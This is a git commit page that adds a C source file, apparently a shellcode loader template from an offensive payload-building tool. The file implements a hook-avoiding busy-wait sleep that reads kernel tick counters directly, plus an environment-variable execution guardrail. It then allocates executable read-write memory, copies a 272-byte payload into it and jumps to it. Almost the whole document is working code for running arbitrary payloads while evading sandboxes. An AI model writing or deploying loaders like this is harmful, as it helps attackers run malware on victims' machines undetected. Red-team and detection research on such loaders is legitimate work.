refactor: move working directory to projects/ for web

This commit is contained in:
Dobin
2024-03-29 19:18:57 +00:00
parent a6dbbe69ac
commit 70eb0bf798
16 changed files with 468 additions and 50 deletions
+67
View File
@@ -0,0 +1,67 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
int get_time_raw() {
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
return kernelTime;
}
int sleep_ms(DWORD sleeptime) {
DWORD start = get_time_raw();
while (get_time_raw() - start < sleeptime) {}
}
int main()
{
//sleep_ms(10000);
// Execution Guardrail: Env Check
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\hacker";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
}
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, 272, 0x3000, 0x40);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
for (int n=0; n<272; n++) {
dest[n] = supermega_payload[n];
}
// Execute *dest
(*(void(*)())(dest))();
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}